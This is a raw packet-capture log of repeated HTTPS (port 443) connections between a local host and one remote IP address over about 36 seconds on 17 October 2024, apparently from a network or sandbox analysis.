Oct 17, 2024 10:53:46.554769039 CEST	443	50043	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:46.554809093 CEST	443	50043	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:46.554868937 CEST	50043	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:46.555438995 CEST	50043	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:46.556045055 CEST	50044	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:46.556140900 CEST	443	50044	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:46.556238890 CEST	50044	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:46.556514978 CEST	50044	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:46.556549072 CEST	443	50044	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:47.645168066 CEST	443	50044	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:47.647273064 CEST	50044	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:47.647355080 CEST	443	50044	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:48.011430979 CEST	443	50044	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:48.011495113 CEST	443	50044	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:48.011642933 CEST	443	50044	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:48.011764050 CEST	50044	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:48.011765003 CEST	50044	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:48.012454987 CEST	50044	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:48.013112068 CEST	50045	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:48.013163090 CEST	443	50045	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:48.013241053 CEST	50045	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:48.013554096 CEST	50045	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:48.013570070 CEST	443	50045	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:49.118202925 CEST	443	50045	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:49.120604038 CEST	50045	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:49.120636940 CEST	443	50045	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:49.491884947 CEST	443	50045	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:49.491914034 CEST	443	50045	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:49.491971016 CEST	443	50045	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:49.492275000 CEST	50045	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:49.493164062 CEST	50045	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:49.493902922 CEST	50047	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:49.493962049 CEST	443	50047	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:49.494046926 CEST	50047	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:49.494427919 CEST	50047	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:49.494446039 CEST	443	50047	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:50.583766937 CEST	443	50047	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:50.592573881 CEST	50047	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:50.592629910 CEST	443	50047	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:50.962558985 CEST	443	50047	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:50.962599993 CEST	443	50047	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:50.962681055 CEST	443	50047	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:50.962749958 CEST	50047	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:50.962795973 CEST	50047	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:50.966073036 CEST	50047	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:50.967083931 CEST	50048	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:50.967152119 CEST	443	50048	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:50.967252016 CEST	50048	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:50.967556000 CEST	50048	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:50.967575073 CEST	443	50048	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:52.082353115 CEST	443	50048	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:52.084732056 CEST	50048	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:52.084804058 CEST	443	50048	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:52.469681978 CEST	443	50048	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:52.469716072 CEST	443	50048	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:52.469785929 CEST	443	50048	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:52.469815969 CEST	50048	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:52.469863892 CEST	50048	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:52.470623970 CEST	50048	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:52.471224070 CEST	50049	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:52.471267939 CEST	443	50049	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:52.472630024 CEST	50049	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:52.472932100 CEST	50049	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:52.472942114 CEST	443	50049	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:53.623366117 CEST	443	50049	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:53.625508070 CEST	50049	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:53.625535965 CEST	443	50049	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:54.004232883 CEST	443	50049	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:54.004262924 CEST	443	50049	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:54.004343987 CEST	443	50049	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:54.004456043 CEST	50049	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:54.004534006 CEST	50049	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:54.009983063 CEST	50049	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:54.010824919 CEST	50050	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:54.010855913 CEST	443	50050	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:54.010931969 CEST	50050	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:54.011322975 CEST	50050	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:54.011334896 CEST	443	50050	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:55.094166994 CEST	443	50050	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:55.096168995 CEST	50050	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:55.096196890 CEST	443	50050	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:55.460445881 CEST	443	50050	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:55.460481882 CEST	443	50050	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:55.460551977 CEST	443	50050	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:55.460558891 CEST	50050	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:55.460588932 CEST	50050	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:55.461127043 CEST	50050	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:55.461762905 CEST	50051	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:55.461817980 CEST	443	50051	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:55.461925983 CEST	50051	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:55.462219000 CEST	50051	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:55.462234974 CEST	443	50051	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:56.558288097 CEST	443	50051	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:56.560566902 CEST	50051	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:56.560653925 CEST	443	50051	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:56.939580917 CEST	443	50051	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:56.939615011 CEST	443	50051	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:56.939685106 CEST	443	50051	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:56.939688921 CEST	50051	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:56.939740896 CEST	50051	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:56.940501928 CEST	50051	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:56.941797972 CEST	50052	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:56.941899061 CEST	443	50052	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:56.941992044 CEST	50052	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:56.942291021 CEST	50052	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:56.942323923 CEST	443	50052	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:58.050276041 CEST	443	50052	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:58.052580118 CEST	50052	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:58.052612066 CEST	443	50052	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:58.428848982 CEST	443	50052	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:58.428913116 CEST	443	50052	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:58.428987026 CEST	50052	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:58.429032087 CEST	443	50052	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:58.429069996 CEST	443	50052	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:58.429120064 CEST	50052	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:58.429645061 CEST	50052	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:58.430248022 CEST	50053	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:58.430286884 CEST	443	50053	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:58.430350065 CEST	50053	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:58.430605888 CEST	50053	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:58.430617094 CEST	443	50053	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:59.535645962 CEST	443	50053	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:59.537811041 CEST	50053	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:59.537823915 CEST	443	50053	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:59.909775019 CEST	443	50053	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:59.909811974 CEST	443	50053	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:59.909888983 CEST	443	50053	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:59.909975052 CEST	50053	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:59.910012007 CEST	50053	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:59.919672966 CEST	50053	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:59.920294046 CEST	50054	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:59.920331001 CEST	443	50054	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:59.920407057 CEST	50054	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:59.920661926 CEST	50054	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:59.920671940 CEST	443	50054	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:01.029186010 CEST	443	50054	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:01.031150103 CEST	50054	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:01.031174898 CEST	443	50054	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:01.406536102 CEST	443	50054	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:01.406570911 CEST	443	50054	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:01.406642914 CEST	443	50054	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:01.406682014 CEST	50054	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:01.406714916 CEST	50054	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:01.407481909 CEST	50054	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:01.408256054 CEST	50055	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:01.408299923 CEST	443	50055	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:01.408371925 CEST	50055	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:01.408682108 CEST	50055	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:01.408691883 CEST	443	50055	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:02.538264990 CEST	443	50055	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:02.540239096 CEST	50055	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:02.540318012 CEST	443	50055	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:02.924947023 CEST	443	50055	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:02.924984932 CEST	443	50055	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:02.925057888 CEST	443	50055	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:02.925113916 CEST	50055	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:02.925173998 CEST	50055	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:02.925997019 CEST	50055	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:02.926752090 CEST	50056	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:02.926800013 CEST	443	50056	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:02.926872969 CEST	50056	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:02.927201033 CEST	50056	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:02.927220106 CEST	443	50056	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:04.062371016 CEST	443	50056	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:04.064315081 CEST	50056	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:04.064382076 CEST	443	50056	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:04.442259073 CEST	443	50056	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:04.442296982 CEST	443	50056	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:04.442364931 CEST	50056	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:04.442389011 CEST	443	50056	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:04.442434072 CEST	50056	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:04.443182945 CEST	50056	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:04.443877935 CEST	50057	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:04.443936110 CEST	443	50057	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:04.444005013 CEST	50057	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:04.444317102 CEST	50057	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:04.444329977 CEST	443	50057	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:05.591586113 CEST	443	50057	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:05.593440056 CEST	50057	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:05.593528032 CEST	443	50057	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:05.982301950 CEST	443	50057	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:05.982367039 CEST	443	50057	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:05.982479095 CEST	50057	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:05.982508898 CEST	443	50057	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:05.982573032 CEST	50057	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:05.984366894 CEST	50057	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:05.985007048 CEST	50058	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:05.985080004 CEST	443	50058	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:05.985181093 CEST	50058	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:05.985502005 CEST	50058	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:05.985532999 CEST	443	50058	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:07.088748932 CEST	443	50058	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:07.090897083 CEST	50058	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:07.090934038 CEST	443	50058	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:07.458149910 CEST	443	50058	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:07.458185911 CEST	443	50058	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:07.458260059 CEST	443	50058	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:07.458323956 CEST	50058	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:07.458378077 CEST	50058	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:07.459342957 CEST	50058	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:07.460093975 CEST	50059	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:07.460164070 CEST	443	50059	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:07.460247040 CEST	50059	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:07.460505962 CEST	50059	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:07.460520983 CEST	443	50059	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:08.571959972 CEST	443	50059	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:08.574316978 CEST	50059	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:08.574367046 CEST	443	50059	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:08.950299025 CEST	443	50059	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:08.950334072 CEST	443	50059	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:08.950408936 CEST	443	50059	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:08.950499058 CEST	50059	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:08.950570107 CEST	50059	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:08.951088905 CEST	50059	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:08.951842070 CEST	50060	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:08.951884031 CEST	443	50060	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:08.951950073 CEST	50060	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:08.952191114 CEST	50060	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:08.952204943 CEST	443	50060	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:10.053734064 CEST	443	50060	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:10.055784941 CEST	50060	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:10.055830956 CEST	443	50060	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:10.431783915 CEST	443	50060	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:10.431818962 CEST	443	50060	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:10.431890965 CEST	443	50060	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:10.432080030 CEST	50060	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:10.432893038 CEST	50060	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:10.433568954 CEST	50061	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:10.433624029 CEST	443	50061	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:10.433702946 CEST	50061	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:10.433944941 CEST	50061	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:10.433963060 CEST	443	50061	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:11.545720100 CEST	443	50061	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:11.547472000 CEST	50061	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:11.547537088 CEST	443	50061	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:12.085391998 CEST	443	50061	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:12.085455894 CEST	443	50061	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:12.085592031 CEST	443	50061	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:12.085613012 CEST	50061	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:12.085680008 CEST	50061	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:12.086451054 CEST	50061	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:12.087140083 CEST	50062	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:12.087198019 CEST	443	50062	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:12.087275982 CEST	50062	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:12.087553024 CEST	50062	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:12.087584972 CEST	443	50062	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:13.176911116 CEST	443	50062	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:13.179006100 CEST	50062	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:13.179056883 CEST	443	50062	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:13.548919916 CEST	443	50062	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:13.548954964 CEST	443	50062	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:13.549027920 CEST	443	50062	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:13.549093008 CEST	50062	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:13.549134970 CEST	50062	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:13.549781084 CEST	50062	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:13.550431967 CEST	50063	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:13.550528049 CEST	443	50063	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:13.550606966 CEST	50063	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:13.550916910 CEST	50063	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:13.550945044 CEST	443	50063	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:14.664429903 CEST	443	50063	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:14.666970015 CEST	50063	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:14.667032003 CEST	443	50063	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:15.038777113 CEST	443	50063	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:15.038840055 CEST	443	50063	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:15.038976908 CEST	443	50063	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:15.039055109 CEST	50063	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:15.039056063 CEST	50063	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:15.040039062 CEST	50063	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:15.040842056 CEST	50064	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:15.040880919 CEST	443	50064	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:15.040997982 CEST	50064	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:15.041512966 CEST	50064	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:15.041527033 CEST	443	50064	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:16.145081043 CEST	443	50064	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:16.147583961 CEST	50064	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:16.147603989 CEST	443	50064	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:16.514926910 CEST	443	50064	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:16.514966965 CEST	443	50064	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:16.515029907 CEST	443	50064	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:16.515054941 CEST	50064	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:16.515115023 CEST	50064	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:16.515902042 CEST	50064	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:16.516777039 CEST	50066	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:16.516835928 CEST	443	50066	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:16.516908884 CEST	50066	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:16.517307997 CEST	50066	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:16.517323971 CEST	443	50066	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:17.620104074 CEST	443	50066	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:17.622292995 CEST	50066	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:17.622334003 CEST	443	50066	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:17.992414951 CEST	443	50066	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:17.992501974 CEST	443	50066	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:17.992652893 CEST	443	50066	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:17.992693901 CEST	50066	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:17.992732048 CEST	50066	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:17.993463993 CEST	50066	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:17.994154930 CEST	50067	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:17.994194031 CEST	443	50067	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:17.994261026 CEST	50067	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:17.994699001 CEST	50067	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:17.994714022 CEST	443	50067	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:19.120517969 CEST	443	50067	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:19.122701883 CEST	50067	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:19.122730970 CEST	443	50067	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:19.503029108 CEST	443	50067	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:19.503057957 CEST	443	50067	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:19.503120899 CEST	443	50067	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:19.503174067 CEST	50067	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:19.503232002 CEST	50067	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:19.503984928 CEST	50067	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:19.504688025 CEST	50068	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:19.504745007 CEST	443	50068	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:19.504828930 CEST	50068	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:19.505161047 CEST	50068	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:19.505175114 CEST	443	50068	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:20.696943998 CEST	443	50068	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:20.699692011 CEST	50068	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:20.699755907 CEST	443	50068	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:21.073749065 CEST	443	50068	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:21.073837042 CEST	443	50068	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:21.073949099 CEST	50068	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:21.073991060 CEST	443	50068	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:21.074060917 CEST	50068	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:21.074940920 CEST	50068	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:21.076591015 CEST	50069	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:21.076690912 CEST	443	50069	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:21.076781988 CEST	50069	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:21.077109098 CEST	50069	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:21.077143908 CEST	443	50069	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:22.217631102 CEST	443	50069	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:22.220155001 CEST	50069	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:22.220181942 CEST	443	50069	103.191.208.122	192.168.2.6
